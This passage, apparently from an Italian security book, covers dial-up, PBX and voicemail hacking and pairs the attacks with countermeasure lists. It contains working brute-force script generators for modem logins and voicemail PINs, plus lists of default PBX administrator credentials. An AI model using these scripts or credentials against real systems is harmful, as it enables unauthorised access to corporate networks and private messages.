Un esempio di primo dominio vero e proprio è mostrato nel Listato 8.2, in cui viene raffigurato un meccanismo di autenticazione singola che consente un numero illimitato di tentativi di deduzione.

Listato 8.1a Esempio di quello che sembra essere un primo dominio e che potrebbe cambiare se viene inserito il nome utente corretto

```
XX-Jul-XX 09:51:08 91XXX5551234 C: CONNECT 9600/ARQ/V32/LAPM
@ Userid:
@ Userid:
@ Userid:
@ Userid:
@ Userid:
@ Userid:
@ Userid:
```

Listato 8.1b Esempio che mostra il cambiamento di dominio dopo che è stato inserito il nome utente corretto

```
XX-Jul-XX 09:55:08 91XXX5551234 C: CONNECT 9600/ARQ/V32/LAPM
@ Userid: lanrover1
Password: xxxxxxxx
```

Nel nostro esempio di primo dominio (si veda il Listato 8.2), per accedere al sistema target è sufficiente conoscere una password. Notate inoltre che questa connessione

consente un numero illimitato di tentativi. Il passo successivo è allora la scrittura di uno script di forza bruta che utilizza un dizionario delle password.

Listato 8.2 Esempio di primo dominio vero e proprio

```
XX-Jul-XX 03:45:08 91XXX5551235 C: CONNECT 9600/ARQ/V32/LAPM

Enter Password:
Invalid Password.

Enter Password:
Invalid Password.

Enter Password:
Invalid Password.

Enter Password:
Invalid Password.

Enter Password:
Invalid Password.
```

Dobbiamo ora scrivere lo script per il nostro esempio di primo dominio. A tale scopo è sufficiente disporre di un semplice programma di utilità ASCII. Non sono richieste capacità di programmazione avanzate, ma piuttosto un minimo di abilità nello scrivere, compilare ed eseguire uno script che consenta la ripetizione dei tentativi di connessione per il numero di volte richiesto dal dizionario delle password. Come abbiamo già accennato, uno degli strumenti più utilizzati per la scrittura di script per le comunicazioni via modem è Procomm Plus e il suo linguaggio di scripting ASPECT. Procomm Plus esiste da qualche anno e ha superato i test di utilizzabilità per il passaggio dalle prime versioni DOS a quelle più recenti a 32 bit. Inoltre, la guida in linea e la documentazione a esso associata sono eccellenti.

Il primo obiettivo del nostro esercizio di scripting consiste nell'ottenere un file di codice sorgente contenente uno script e quindi trasformare lo script in modulo oggetto. Una volta ottenuto il modulo oggetto, dovremo verificarne l'utilizzabilità su un campione di 10-20 password per poi passare a un dizionario più esteso. Il primo passo consiste pertanto nel creare un sorgente ASPECT. Nelle vecchie versioni di Procomm Plus i sorgenti prendevano l'estensione .ASP, mentre i file oggetto prendevano l'estensione .ASX. Alcune vecchie versioni di Procomm Plus, come il software per il testing dei drive PCPLUSTD (potete trovare istruzioni sul suo utilizzo e la sua installazione sul sito `http://www.m4phr1k.com`), permettevano di eseguire un codice .ASP sorgente durante l'esecuzione di uno script. Nelle nuove versioni a interfaccia grafica di Procomm Plus, i file sorgente e oggetto vengono identificati rispettivamente con le estensioni .WAS e .WSX. Indipendentemente dalla versione, l'obiettivo è sempre lo stesso: creare uno script di forza bruta durevole e che possa essere utilizzato su un dizionario di grandi dimensioni.

La creazione di uno script è un esercizio relativamente di basso livello, e in genere può essere portato a termine utilizzando un qualsiasi editor di testo. La parte difficile è assegnare una password o un'altra variabile del dizionario come argomento dello script. Procomm Plus è in grado di gestire file esterni che possono essere passati allo script come variabili password (diciamo da un elenco di dizionari), durante l'esecuzione dello script. Potreste provare con un elenco di password memorizzate

all'interno di uno script, oppure con chiamate esterne a file di password: la riduzione del numero delle variabili di programma durante l'esecuzione di uno script incrementa ragionevolmente le possibilità di successo dell'attacco.
Poiché il nostro approccio è fondamentalmente basato sulla codifica ASCII e relativamente di basso livello, per creare lo script possiamo utilizzare l'applicazione DOS QBASIC. Il listato di codice riportato di seguito mostra un semplice file QBASIC, utilizzato per creare lo script dell'esempio precedente. Chiameremo questo file 5551235.BAS (estensione .BAS per QBASIC). Questo programma può essere utilizzato per creare lo script richiesto per tentare un attacco a forza bruta al nostro esempio di primo dominio. Quanto segue è un esempio di un programma QBASIC che crea uno script ASPECT per un file sorgente (.WAS) Procomm Plus 32 utilizzando l'esempio di primo dominio precedente e un dizionario delle password. Lo script completo presuppone che l'utente crei inizialmente la voce 5551235 nella directory dei numeri di telefono di Procomm Plus. La voce creata possiede in genere tutte le caratteristiche della connessione e consente all'utente di specificare un file di log. La possibilità di disporre di un file di log è fondamentale quando si tenta un attacco con script di forza bruta, utilizzando i tipi di approccio che verranno presentati in seguito:

```
'QBASIC ASP/WAS script creator for Procomm Plus
'Written by M4phr1k, www.m4phr1k.com, Stephan Barnes

OPEN "5551235.was" FOR OUTPUT AS #2
OPEN "LIST.txt" FOR INPUT AS #1
PRINT #2, "proc main"
PRINT #2, "dial DATA " + CHR$(34) + "5551235" + CHR$(34)
DO UNTIL EOF(1)
LINE INPUT #1, in$
in$ = LTRIM$(in$) + "^M"
PRINT #2, "waitfor " + CHR$(34) + "Enter Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34)
LOOP
PRINT #2, "endproc"
```

I dizionari delle password più diffuse possono contenere un numero qualsiasi di parole comuni, comprese le seguenti:

```
apple
apple1
apple2
applepie
applepies
applepies1
applepies2
applicate
applicates
application
application1
applonia
applonia1
(and so on.)
```

e così via.
È possibile utilizzare dizionari di qualsiasi dimensione, l'unico limite è rappresentato dall'immaginazione personale. Se disponete di informazioni aggiuntive sull'orga-

nizzazione obiettivo dell'attacco, come per esempio nomi e cognomi o gruppi sportivi locali, potete aggiungere queste parole al dizionario. L'obiettivo è creare un dizionario sufficientemente robusto per individuare una password valida sul sistema obiettivo. Il passaggio successivo consiste nel portare il file 5551235.WAS nel compilatore ASPECT, compilarlo e quindi eseguire lo script.

Poiché questo script esegue dei tentativi ripetuti di deduzione delle password, prima di eseguire lo script assicuratevi di attivare la modalità di registrazione. Questo consente di registrare l'intera sessione di script su un file che può essere successivamente esaminato per stabilire se il tentativo è andato a buon fine. A questo punto vi starete chiedendo perché non codificare anche l'attesa di un evento andato a buon fine (l'ottenimento della password corretta). La risposta è semplice. Poiché non è noto a priori ciò che verrà visualizzato una volta individuata la password, l'attesa non può essere codificata. Nello script potrete solo inserire casi di parametri di login anomali, sulla base dei quali condurre la vostra elaborazione del file: riportando tali anomalie in un file, potrete analizzarle in un secondo tempo o riutilizzarle all'interno di tecniche LHF. Se però è noto il risultato conseguente all'individuazione della password, è possibile codificare nel codice ASPECT un ciclo di attesa WAITFOR qualunque sia la risposta valida e impostare un flag quando la condizione attesa viene soddisfatta. Più variabili di sistema sono processate nel corso dell'esecuzione dello script, e più opportunità hanno di accadere degli eventi causali. Il processo di registrazione del log di sessione è semplice da implementare ma particolarmente lungo e noioso da esaminare. Durante il processo di script occorre tuttavia tenere presenti altre questioni importanti: basta un semplice errore di spaziatura tra i caratteri in attesa di invio o inviati per rendere invalido tutto lo script. Per questo è opportuno verificare lo script utilizzando 10-20 password un paio di volte per essere sicuri che questo esercizio ripetitivo possa essere applicato anche su un numero di tentativi ripetuti molto più grande e per molto più tempo. In definitiva, ogni sistema è diverso dagli altri e la realizzazione di uno script per attacco di forza bruta con un ampio dizionario richiede la manipolazione dello script stesso per determinare quei parametri di sistema che gli consentano di operare nel tempo.

Autenticazione singola, numero limitato di tentativi

Diffusione:	*8*
Semplicità:	*9*
Impatto:	*9*
Fattore di rischio:	*9*

Il secondo dominio è quello che richiede il maggior tempo di accesso al sistema. Questo perché è necessario aggiungere allo script un componente. Utilizzando gli esempi mostrati finora, esaminiamo nuovamente il risultato di un secondo dominio nel Listato 8.3. Noterete una piccola differenza rispetto al primo dominio: dopo tre tentativi di connessione viene visualizzato il carattere "ATH0".

Si tratta del tipico carattere Hayes che segnala il termine della chiamata. Questo significa che la connessione viene interrotta dopo tre tentativi falliti. Potrebbero essere quattro, cinque, sei o qualsiasi altro numero, ma lo scopo qui è verificare che

sappiate come eseguire il dial-back della connessione dopo X (3, in questo esempio) tentativi. La soluzione consiste nell'aggiungere codice al nostro esempio, per gestire la richiamata che segue l'ottenimento dell'accesso al sistema e la conseguente disconnessione del modem, come mostrato nel Listato 8.4. Sostanzialmente questo significa eseguire tre tentativi di ricerca della password, richiamare dopo che la connessione è stata interrotta e riavviare il processo.

Listato 8.3 Esempio di secondo dominio vero e proprio

```
XX-Jul-XX 03:45:08 91XXX5551235 C: CONNECT 9600/ARQ/V32/LAPM

Enter Password:
Invalid Password.

Enter Password:
Invalid Password.

Enter Password:
Invalid Password.
ATH0
```

(Notate la presenza del carattere Hayes "ATH0" che indica che la connessione è stata interrotta e il sistema ha riagganciato.)

Listato 8.4 Esempio di programma QBASIC (denominato 5551235.BAS)

```
'QBASIC ASP/WAS script creator for Procomm Plus
'Written by M4phr1k, www.m4phr1k.com, Stephan Barnes

OPEN "5551235.was" FOR OUTPUT AS #2
OPEN "LIST.txt" FOR INPUT AS #1
PRINT #2, "proc main"
DO UNTIL EOF(1)
PRINT #2, "dial DATA " + CHR$(34) + "5551235" + CHR$(34)
LINE INPUT #1, in$
in$ = LTRIM$(in$) + "^M"
PRINT #2, "waitfor " + CHR$(34) + "Enter Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34)
LINE INPUT #1, in$
in$ = LTRIM$(in$) + "^M"
PRINT #2, "waitfor " + CHR$(34) + "Enter Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34)
LINE INPUT #1, in$
in$ = LTRIM$(in$) + "^M"
PRINT #2, "waitfor " + CHR$(34) + "Enter Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34)
LOOP
PRINT #2, "endproc"
```

Autenticazione doppia, numero illimitato di tentativi

Diffusione:	*6*
Semplicità:	*9*
Impatto:	*8*
Fattore di rischio:	*8*

Il terzo dominio è costruito a partire dal primo dominio. Poiché però ora ci sono due cose da indovinare (a condizione che il nome utente non sia già noto), il tempo richiesto è in teoria superiore rispetto a quello del primo e del secondo dominio. Vorremmo anche sottolineare che il processo di script di questo terzo dominio e di quello successivo (il quarto) è più critico, perché in teoria il numero di informazioni sull'attività della tastiera che devono essere trasferite al sistema target è maggiore, e maggiore è quindi la probabilità che qualcosa vada storto. Gli script utilizzati per implementare questo tipo di approcci a forza bruta sono simili a quelli mostrati in precedenza. Il Listato 8.5 mostra il sistema target mentre il Listato 8.6 mostra un esempio di programma QBASIC utilizzato per creare lo script ASPECT.

Listato 8.5 Esempio di terzo dominio obiettivo

```
XX-Jul-XX 09:55:08 91XXX5551234 C: CONNECT 9600/ARQ/V32/LAPM

Username: guest
Password: xxxxxxxx
Username: guest
Password: xxxxxxxx
Username: guest
Password: xxxxxxxx
Username: guest
Password: xxxxxxxx
Username: guest
Password: xxxxxxxx
Username: guest
Password: xxxxxxxx
```

Listato 8.6 Esempio di programma QBASIC (denominato 5551235.BAS)

```
'QBASIC ASP/WAS script creator for Procomm Plus
'Written by M4phr1k, www.m4phr1k.com, Stephan Barnes

OPEN "5551235.was" FOR OUTPUT AS #2
OPEN "LIST.txt" FOR INPUT AS #1
PRINT #2, "proc main"
PRINT #2, "dial DATA " + CHR$(34) + "5551235" + CHR$(34)
DO UNTIL EOF(1)
LINE INPUT #1, in$
in$ = LTRIM$(in$) + "^M"
PRINT #2, "waitfor " + CHR$(34) + "Username:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + "guest" + CHR$(34)
PRINT #2, "waitfor " + CHR$(34) + "Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34)
LOOP
PRINT #2, "endproc"
```

Autenticazione doppia, numero limitato di tentativi

Diffusione:	*3*
Semplicità:	*10*
Impatto:	*8*
Fattore di rischio:	*7*

Il quarto dominio è costruito a partire dal terzo dominio. Poiché però ora ci sono due cose da indovinare (a condizione che il nome utente non sia già noto) ed è necessario eseguire il dial-back dopo un numero predefinito di tentativi, in teoria questo processo è quello che richiede più tempo di esecuzione tra quelli visti finora. Gli script utilizzati per costruire questo tipo di approcci sono simili concettualmente a quelli illustrati in precedenza. Il Listato 8.7 che segue mostra i risultati di un attacco al sistema target, mentre il Listato 8.8 mostra un esempio di programma QBASIC utilizzato per creare lo script ASPECT.

Listato 8.7 Esempio di quarto dominio obiettivo

```
XX-Jul-XX 09:55:08 91XXX5551234 C: CONNECT 9600/ARQ/V32/LAPM

Username: guest
Password: xxxxxxxx
Username: guest
Password: xxxxxxxx
Username: guest
Password: xxxxxxxx
+++
```

Listato 8.8 Esempio di programma QBASIC (denominato 5551235.BAS)

```
'QBASIC ASP/WAS script creator for Procomm Plus
'Written by M4phr1k, www.m4phr1k.com, Stephan Barnes

OPEN "5551235.was" FOR OUTPUT AS #2
OPEN "LIST.txt" FOR INPUT AS #1
PRINT #2, "proc main"
DO UNTIL EOF(1)
PRINT #2, "dial DATA " + CHR$(34) + "5551235" + CHR$(34)
LINE INPUT #1, in$
in$ = LTRIM$(in$) + "^M"
PRINT #2, "waitfor " + CHR$(34) + "Username:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + "guest" + CHR$(34)
PRINT #2, "waitfor " + CHR$(34) + "Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34)
LINE INPUT #1, in$
in$ = LTRIM$(in$) + "^M"
PRINT #2, "waitfor " + CHR$(34) + "Username:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + "guest" + CHR$(34)
PRINT #2, "waitfor " + CHR$(34) + "Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34)
LINE INPUT #1, in$
in$ = LTRIM$(in$) + "^M"
```

```
PRINT #2, "waitfor " + CHR$(34) + "Username:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + "guest" + CHR$(34)
PRINT #2, "waitfor " + CHR$(34) + "Password:" + CHR$(34)
PRINT #2, "transmit " + CHR$(34) + in$ + CHR$(34)
LOOP
PRINT #2, "endproc"
```

Per concludere

Quelli illustrati sono esempi funzionanti eseguiti su sistemi che abbiamo personalmente osservato. I file di output e una trattazione dettagliata di questo argomento sono disponibili all'indirizzo Web `http://www.m4phr1k.com`. I risultati ottenuti possono essere diversi a causa di particolari condizioni del processo di script, di cui potrebbe essere necessario tenere conto. Il processo è per tentativi ripetuti fino a quando non viene trovato lo script che funziona bene per quella particolare situazione. Probabilmente ci sono altri linguaggi che potrebbero essere utilizzati per eseguire le stesse funzioni, ma per motivi di semplicità e brevità preferiamo rimanere fedeli ai semplici metodi basati su codice ASCII. Ancora una volta, vi ricordiamo che questi processi richiedono l'attivazione di un file di log prima di essere eseguiti, poiché nessuno degli script di esempio contempla l'elaborazione di un file. È facile far funzionare correttamente uno script per poi scoprire dopo ore di esecuzione che non esiste un file di log. Ricordate che stiamo cercando di risparmiarvi i grattacapi. Alcuni di voi si staranno chiedendo cosa è successo alle connessioni ISDN (*Integrated Services Digital Network*). Tranquilli, sono ancora vive anche se stanno perdendo popolarità. Questo tipo di connessioni rappresentavano l'unica soluzione per quelle reti aziendali che desideravano un supporto di connessione più veloce. Al giorno d'oggi, le connessioni Internet veloci hanno ampiamente soppiantato le connessioni ISDN, e molte aziende le stanno eliminando. Vi state chiedendo quando finalmente parleremo di come tappare tutti i buchi nella sicurezza che abbiamo evidenziato? La risposta arriva subito.

Misure di sicurezza per le connessioni telefoniche

Abbiamo cercato di semplificare il più possibile le cose: un elenco numerato di elementi da verificare a proposito della sicurezza telefonica della vostra organizzazione. L'elenco è ordinato per difficoltà di implementazione degli interventi, dal più semplice al più difficile, in modo che possiate assolvere l'obiettivo più accessibile, il Low Hanging Fruit, per primo e impostare successivamente le iniziative maggiormente consistenti. I lettori più attenti noteranno quanto questo elenco somigli a un programma per la sicurezza delle connessioni telefoniche.

1. Censite le linee di connessione telefonica esistenti. Come fare a censirle tutte? Che domanda: con il wardialing! Eliminate tutte le connessioni non autorizzate.
2. Concentrate tutta la connettività via telefono su un unico gruppo di modem centralizzato, localizzato all'esterno della rete privata su una connessione non "trusted", e utilizzate tecnologie di intercettazione delle intrusioni e firewall per limitare e controllare le connessioni alle subnet affidabili.
3. Rendete più complicato identificare le linee analogiche: cercate di separarle dai numeri aziendali ed evitate di esporle nei dati di registrazione del nome di dominio presso la InterNIC. Proteggete con una password l'accesso alle informazioni sul vostro account presso la compagnia telefonica.

4. Verificate che gli armadi contenenti le apparecchiature per telecomunicazioni siano fisicamente sicuri. Molte aziende usano armadi privi di serrature in zone accessibili al pubblico.
5. Verificate periodicamente le registrazioni effettuate dai programmi di gestione dell'accesso telefonico, cercando riferimenti a tentativi di connessione falliti, attività notturna e sequenze di utilizzo sospette. Se possibile, registrate i numeri di origine delle chiamate.
6. Importante e semplice al tempo stesso: disattivate eventuali banner standard attivi sulle linee dati, sostituendoli con richieste di login meno identificabili. Valutate anche la possibilità di visualizzare un avvertimento sulla punibilità dell'utilizzo senza autorizzazione.
7. Richiedete *sistemi di autenticazione a due fattori* (*two-factor*) per tutti i canali di accesso remoto. L'autenticazione a due fattori prevede che, per ottenere l'accesso al sistema, gli utenti presentino due diverse credenziali. Un esempio possono essere i gettoni SecurID della Security Dynamics Technologies, Inc., che definiscono una password usa e getta. Sappiamo che, nonostante sembri facile, spesso questa soluzione è improponibile dal punto di vista logistico o finanziario! Tuttavia, non esistono altri meccanismi in grado di eliminare praticamente tutti i problemi che abbiamo descritto finora.
8. Richiedete l'autenticazione per il *dial-back*, che è un meccanismo per cui il sistema di accesso remoto viene configurato in modo da riagganciare, dopo aver ricevuto una chiamata, e chiamare subito dopo un numero predefinito (a cui ci si aspetta che risponda l'autore della prima chiamata). Per maggiore sicurezza, abilitate al dial-back una batteria di modem a parte e impedite l'accesso in ingresso a tali modem (utilizzando l'hardware dei modem o il sistema di telefonia). Anche questa è una soluzione poco pratica, specie per le grandi aziende contemporanee, in cui aumenta l'incidenza degli utenti mobili.
9. Assicuratevi che l'help desk aziendale sia al corrente di quanto possa essere delicato elargire o riazzerare le credenziali per l'accesso remoto. Basta un nuovo assunto eccessivamente zelante per vanificare ogni impegno a favore della sicurezza.
10. Centralizzate la fornitura di connettività dial-up, dai fax ai sistemi di messaggistica vocale, riconducendola fisicamente in un'unica area organizzativa particolarmente motivata in tema di sicurezza.
11. Fissate regole precise sulla disponibilità ai dipendenti di questo servizio interno, in modo che anche per l'aggiunta di una linea POTS (*Plain Old Telephone Service*) sia richiesta un'approvazione dall'alto. Se riuscite a giustificarlo, fate in modo che quella linea consenta solo chiamate in uscita, se tutto quello che serve è inviare fax o accedere a BBS esterne e simili. Inoltre fate in modo che il management sponsorizzi attivamente questa politica e assicuratevi che abbia la forza di farla rispettare. In caso contrario, tornate al punto 1 e dimostrate la quantità di varchi che si riesce a trovare con un semplice giro di wardialing.
12. Tornate al passo 1. Le politiche chiare sono un buon punto di partenza, ma l'unico modo per essere sicuri che nessuno le stia aggirando è eseguire periodicamente dei wardialing. Il nostro consiglio è di ripeterli almeno ogni sei mesi per aziende con più di 10.000 linee telefoniche, ma una frequenza maggiore non farebbe male a nessuno.

Vedete? Con il nostro piano in 12 punti è facile farsi passare il vizio delle connessioni telefoniche. Certamente, alcuni di questi passi non sono di semplice implementazione, ma riteniamo che una buona dose di paranoia sia del tutto giustificata. Gli

anni di esperienza passati a esaminare la sicurezza di grandi aziende ci hanno insegnato che la maggior parte di queste è ben protetta dai propri firewall su Internet; il più delle volte, invece, si trovano voragini nelle linee telefoniche POTS che portano dritte al cuore dell'infrastruttura informatica della società. Lo ripetiamo per l'ennesima volta: dichiarare guerra ai vostri modem potrebbe essere il passo fondamentale per migliorare la sicurezza della vostra rete.

Hacking dei centralini

Sul mercato sono ancora presenti connessioni di accesso remoto a centralini. Queste connessioni rimangono a tutt'oggi il metodo più utilizzato per la gestione di un centralino. Quella che era una console cablata al centralino è ora diventata una macchina sofisticata accessibile attraverso reti IP e interfacce client. Detto questo, è bene però sottolineare che molte delle connessioni di accesso remoto ai centralini più noti sono rimaste arretrate da un punto di vista tecnologico. Inoltre, spesso i produttori di centralini richiedono ai clienti l'accesso al sistema da una postazione remota per gli interventi tecnici. Anche se questa richiesta potrebbe essere legittima, molte aziende gestiscono questa connessione in maniera non adeguata, consentendo a un modem di restare sempre acceso e connesso al centralino.
In realtà, in caso di problemi, le aziende dovrebbero prima chiamare il supporto tecnico e poi, se il produttore lo richiede, attivare una connessione remota al centralino assicurandosi di disattivarla al termine dell'intervento. Poiché molte aziende lasciano questa connessione costantemente attiva, una sessione di wardialing produrrebbe delle schermate dall'aspetto curioso, come vedremo tra breve. L'hacking dei centralini segue la stessa strada percorsa per l'hacking delle connessioni telefoniche.

Octel Voice Network Login

Diffusione:	*5*
Semplicità:	*5*
Impatto:	*8*
Fattore di rischio:	*6*

I centralini Octel richiedono che la password dell'amministratore sia un numero. Qualche volta questi sistemi possono essere proprio di grande aiuto! In molti sistemi Octel, l'impostazione predefinita della casella postale dell'amministratore di sistema è 9999:

```
XX-Feb-XX 05:03:56 *91XXX5551234 C: CONNECT 9600/ARQ/V32/LAPM

                Welcome to the Octel voice/data network.

All network data and programs are the confidential and/or proprietary
property
of Octel Communications Corporation and/or others.  Unauthorized use,
copying,
downloading, forwarding or reproduction in any form by any person of any
network data or program is prohibited.

Copyright (C) 1994-1998 Octel Communications Corporation.  All Rights
Reserved.
```

```
Please Enter System Manager Password:
Number must be entered
Enter the password of either System Manager mailbox, then press "Return."
```

Centralini Williams/Northern Telecom

Diffusione:	*5*
Semplicità:	*5*
Impatto:	*8*
Fattore di rischio:	*6*

Se vi imbattete in un centralino Williams/Northern Telecom, viene visualizzato qualcosa di simile a quanto riportato di seguito. Digitando `login` al prompt dei comandi viene in genere richisto di inserire un numero utente di primo livello, avente un codice di accesso numerico di sole quattro cifre. Ovviamente, un attacco a forza bruta su un codice di questo tipo non richiede molto tempo:

```
XX-Feb-XX 04:03:56 *91XXX5551234 C: CONNECT 9600/ARQ/V32/LAPM

OVL111 IDLE   0
>
OVL111 IDLE   0
>
OVL111 IDLE   0
>
OVL111 IDLE   0
```

Meridian Links

Diffusione:	*5*
Semplicità:	*5*
Impatto:	*8*
Fattore di rischio:	*6*

A prima vista, un sistema Meridian assomiglia più a una macchina UNIX che a qualunque altra cosa, dal momento che molte delle interfacce di gestione usano un'applicazione generica di shell per l'amministrazione del centralino. In base a come è configurato il sistema, esiste la possibilità di uscire da questa shell e di curiosare in giro: per esempio, se non sono stati disabilitati il nome utente e la password, sarebbe possibile accedere alla console di gestione del sistema. Il solo modo per verificare se esiste questa possibilità è quello di provare il nome utente e la password predefiniti. Potrebbero funzionare le combinazioni predefinite, come utente maint e maint come password; nel sistema potrebbe esistere anche la combinazione utente mluser e password mluser:

```
XX-Feb-XX 02:04:56 *91XXX5551234 C: CONNECT 9600/ARQ/V32/LAPM

login:
login:
login:
login:
```

ROLM PhoneMail

Diffusione:	*5*
Semplicità:	*5*
Impatto:	*8*
Fattore di rischio:	*6*

Se vi imbattete in un sistema che ha l'aspetto riportato di seguito, probabilmente si tratta di un sistema ROLM PhoneMail di vecchia generazione. Questo potrebbe anche essere confermato dal banner che viene visualizzato:

```
XX-Feb-XX 02:04:56 *91XXX5551234 C: CONNECT 9600/ARQ/V32/LAP

PM Login>
Illegal Input.
```

Di seguito potete trovare i nomi utente e le password predefinite del sistema ROLM PhoneMail:

```
LOGIN: sysadmin        PASSWORD: sysadmin
LOGIN: tech            PASSWORD: tech
LOGIN: poll            PASSWORD: tech
```

ATT Definity G/System 75

Diffusione:	*5*
Semplicità:	*5*
Impatto:	*8*
Fattore di rischio:	*6*

ATT Definity System 75 è uno dei centralini più vecchi in circolazione e il prompt di accesso assomiglia molto a quello UNIX. Talvolta, viene anche visualizzato il banner:

```
ATT UNIX S75
Login:
Password:
```

Di seguito, potete trovare l'elenco dei nomi utente e delle password predefinite per la vecchia distribuzione System 75. Come impostazione predefinita, AT&T includeva nella distribuzione un grande numero di nomi utente e password già installate e pronte per essere utilizzate. Di solito i proprietari modificano gli account personali o per buon senso o perché costretti dalla politica di gestione delle password stabilita dall'azienda. Talvolta accade che questi stessi account predefiniti vengano reinstallati in occasione di aggiornamenti del sistema. Di conseguenza, anche se l'installazione originale assicurava una rapida modifica delle password, un aggiornamento o una serie di aggiornamenti potrebbero aver ripristinato le password predefinite. Ecco l'elenco dei nomi utente e password predefiniti conosciuti del System 75, inclusi in ogni distribuzione Definity G:

```
Login: enquiry   Password: enquirypw
Login: init      Password: initpw
Login: browse    Password: looker     browsepw
```

```
Login: maint      Password: rwmaint    maintpw
Login: locate     Password: locatepw
Login: rcust      Password: rcustpw
Login: tech       Password: field
Login: cust       Password: custpw
Login: inads      Password: inads      indspw    inadspw
Login: support    Password: supportpw
Login: bcms       Password: bcms
Login: bcms       Password: bcmpw
Login: bcnas      Password: bcnspw
Login: bcim       Password: bcimpw
Login: bciim      Password: bciimpw
Login: bcnas      Password: bcnspw
Login: craft      Password: craftpw    crftpw    crack
Login: blue       Password: bluepw
Login: field      Password: support
Login: kraft      Password: kraftpw
Login: nms        Password: nmspw
```

PBX protetti da ACE/Server

Diffusione:	*5*
Semplicità:	*5*
Impatto:	*8*
Fattore di rischio:	*6*

Se vi imbattete in un prompt di sistema del tipo riportato di seguito, date solo un'occhiata e lasciate perdere perché molto probabilmente non sarete in grado di sconfiggere il meccanismo di difesa utilizzato per proteggerlo. È previsto un protocollo di autenticazione challenge/response con l'utilizzo di un token:

```
XX-Feb-XX 02:04:56 *91XXX5551234 C: CONNECT 9600/ARQ/V32/LAPM

Hello
Password :
  89324123 :

Hello
Password :
  65872901 :
```

Contromisure agli attacchi ai PBX

Come nel caso delle contromisure per l'hacking delle connessioni telefoniche, assicuratevi di ridurre il tempo in cui il modem rimane acceso, sviluppate più forme di autenticazione, per esempio l'autenticazione a due vie (se possibile), e adottate sempre una qualche forma di blocco dell'utente in caso di tentativi di accesso falliti ripetuti.

Attacchi ai sistemi di messaggistica vocale

Vi siete mai domandati come gli hacker possano accedere ai sistemi di messaggistica vocale? Avete saputo di un licenziamento o di una fusione prima che essi avve-

nissero realmente? Cercare di inserirsi nelle caselle vocali è una delle pratiche più vecchie: in un'azienda nessuno ne è immune, e soprattutto i CxOs sono a rischio.

Attacchi ai sistemi di messaggistica vocale con il metodo della forza bruta

Diffusione:	*2*
Semplicità:	*8*
Impatto:	*9*
Fattore di rischio:	*6*

All'inizio degli anni '90 sono stati scritti due programmi per l'attacco ai sistemi di messaggistica vocale: Voicemail Box Hacker 3.0 e VrACK 0.51. In passato abbiamo provato a utilizzare questi strumenti, che erano stati pensati principalmente per sistemi di messaggistica vocale molto più vecchi e meno sicuri. Il programma Voicemail Box Hacker consente l'attacco solo a caselle vocali di quattro cifre e nelle versioni da noi utilizzate non era espandibile. Il programma VrACK dispone di alcune funzionalità interessanti, ma è difficile da programmare, essendo stato scritto per macchine basate sulla vecchia architettura *x*.86; inoltre, presenta problemi di stabilità se utilizzato sulle piattaforme di nuova generazione. Entrambi i programmi non sono stati ulteriormente supportati a causa della relativa impopolarità degli attacchi alle caselle vocali, pertanto gli aggiornamenti non sono mai stati sviluppati. Gli attacchi ai sistemi di messaggistica vocale ci danno la possibilità di utilizzare nuovamente il nostro fidato linguaggio di scripting ASPECT.
È possibile attaccare le caselle vocali, utilizzando degli script ASPECT simili a quelli illustrati per gli attacchi alle connessioni telefoniche e cambiano solo le ipotesi di partenza. Oltre a utilizzare il metodo di script, è necessario rimanere in ascolto in attesa di un evento andato a buon fine. Si tratta quindi di un tipo di attacco manuale, in cui è richiesta la presenza costante dell'hacker, e basato sull'utilizzo di password o combinazioni di password molto semplici.
Per cercare di manomettere un sistema di messaggistica vocale manualmente, o programmando uno script di attacco per forza bruta (senza ricorrere a nozioni di ingegneria sociale), sono necessari i seguenti componenti: il numero principale di accesso al sistema, una casella vocale del sistema target con il numero di cifre richiesto (in genere tre, quattro o cinque) e un'ipotesi plausibile sulla lunghezza minima e massima della password delle caselle vocali. Nella maggior parte delle organizzazioni moderne, è possibile determinare ipotesi sulla sicurezza dei sistemi di messaggistica vocale. Queste ipotesi riguardano principalmente la lunghezza minima e massima delle password e le password predefinite del sistema. I responsabili della sicurezza di un'azienda sarebbero pazzi a non implementare nemmeno un livello minimo di sicurezza. Ipotizziamo che sia stato definito un livello minimo di sicurezza e che le caselle vocali dell'azienda obiettivo dispongano di password di accesso. Lasciamo che lo script abbia inizio.
Il nostro scopo è creare qualcosa di simile al semplice script riportato di seguito. Per prima cosa analizziamo ciò che vogliamo ottenere dallo script. Quello che segue è un semplice esempio di script che compone il numero della casella vocale del sistema, attende il messaggio di saluto del responsabile automatico (qualcosa del tipo: "Benvenuti nel sistema di messaggistica vocale della società X. Vi preghiamo di inserire il numero della casella vocale"), digita il numero della casella vocale, inserisce una password, preme un tasto di conferma e ripete di nuovo la sequenza delle operazioni. In

questo esempio, vengono provate sei password sulla casella vocale 5019. Con un po' di abilità e fantasia, potete facilmente creare uno script che esegua questa sequenza di operazioni ripetutamente su un dizionario di numeri a vostra scelta. È molto probabile che dobbiate adattare lo script alle caratteristiche del modem; del resto, lo stesso script può andar bene su un sistema, ma male su un altro. Pertanto è fondamentale rimanere in ascolto dello script durante la sua esecuzione e prestare attenzione al processo. Una volta creato il prototipo del programma, è possibile utilizzare un dizionario di numeri molto più esteso, come vedremo tra breve.

Listato 8.9 Semplice script di attacco a un sistema di messaggistica vocale scritto nel linguaggio Procomm Plus ASPECT

```
ASP/WAS script for Procomm Plus Voicemail Hacking
'Written by M4phr1k, www.m4phr1k.com, Stephan Barnes

proc main
transmit "atdt*918005551212,,,,,5019#,111111#,,5019#,222222#,,"
transmit "^M"
WAITQUIET 37
HANGUP
transmit "atdt*918005551212,,,,,5019#,333333#,,5019#,555555#,,"
transmit "^M"
WAITQUIET 37
HANGUP
transmit "atdt*918005551212,,,,,5019#,666666#,,5019#,777777#,,"
transmit "^M"
WAITQUIET 37
HANGUP
endproc
```

